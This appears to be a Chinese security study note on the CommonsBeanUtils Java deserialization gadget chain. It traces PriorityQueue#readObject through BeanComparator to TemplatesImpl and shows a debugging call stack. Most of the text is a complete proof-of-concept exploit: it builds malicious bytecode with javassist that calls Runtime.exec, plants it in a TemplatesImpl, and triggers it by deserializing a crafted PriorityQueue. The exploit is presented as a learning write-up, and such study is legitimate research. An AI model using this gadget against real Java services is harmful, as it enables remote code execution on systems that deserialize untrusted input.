CommonsBeanUtils
# 利用链
* PriorityQueue#readObject -->
* heapify -->
* siftDown -->
* (comparator != null) siftDownUsingComparator -->
* comparator#compare -->
* BeanComparator#compare -->
* TemplatesImpl#getOutputProperties -->
* TemplatesImpl#newTransformer -->
* ······
* newInstance
# 依赖
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
# 调试
BeanComparator
类的compare
的方法:
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
PropertyUtils#getProperty
方法会读取一个Java Bean的Properties类型的字段:
这里和Fastjson其实差不太多,之后就是常规的TemplatesImpl
利用链:
TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> ··· --> instance --> Evil Bytecode{}
TemplatesImpl templates = new TemplatesImpl();
MyUtils.setFieldValue(templates, "_name", "F4DE");
MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
再借助CC4中的PriorityQueue
,把其comparator
字段设置成BeanComparator
的实例,通过readObject
触发comprartor#compare
,也就是BeanComparator#compare
:
BeanComparator<Object> comparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, null);
priorityQueue.add(1);
priorityQueue.add(2);
MyUtils.setFieldValue(priorityQueue, "comparator", comparator);
为了防止在执行add
方法的时候就触发Gadget,所以先把PriorityQueue
的comparator
字段设置为null
,之后再通过反射进行修改;此外,只有当PriorityQueue
内部含有两个元素的时候才会触发compare操作,所以这里随便添加两个数字,之后再通过反射进行修改:
Class<?> clazz = Class.forName("java.util.PriorityQueue");
Field field = clazz.getDeclaredField("queue");
field.setAccessible(true);
Object[] queue = (Object[]) field.get(priorityQueue);
queue[0] = templates;
queue[1] = templates;
最后把PriorityQueue
的实例进行反序列化:
整个调试过程并不长,10分钟左右就能调试完,整条 Gadget 的调用栈如下:
······
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2127, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1278, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:39, MyUtils
main:49, CommonsBeanUtils
完整POC代码:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* CommonsBeanUtils Gadget
*
* PriorityQueue#readObject -->
* heapify -->
* siftDown -->
* (comparator != null) siftDownUsingComparator -->
* comparator#compare -->
* BeanComparator#compare -->
* TemplatesImpl#getOutputProperties -->
* TemplatesImpl#newTransformer -->
* ······
* newInstance
*/
public class CommonsBeanUtils {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
test.makeClassInitializer().insertBefore(cmd);
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = test.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
MyUtils.setFieldValue(templates, "_name", "F4DE");
MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator<Object> comparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, null);
priorityQueue.add(1);
priorityQueue.add(2);
MyUtils.setFieldValue(priorityQueue, "comparator", comparator);
Class<?> clazz = Class.forName("java.util.PriorityQueue");
Field field = clazz.getDeclaredField("queue");
field.setAccessible(true);
Object[] queue = (Object[]) field.get(priorityQueue);
queue[0] = templates;
queue[1] = templates;
MyUtils.deserialize(MyUtils.serialize(priorityQueue));
}
}
新增了commons-beanutils
1.8.3版本的POC,整体思路没有改变,主要是为了不想在一个项目中使用两个不同版本的依赖👻:JavaDesPOC/CommonsBeanUtils.java at master · F4ded/JavaDesPOC (github.com) (opens new window)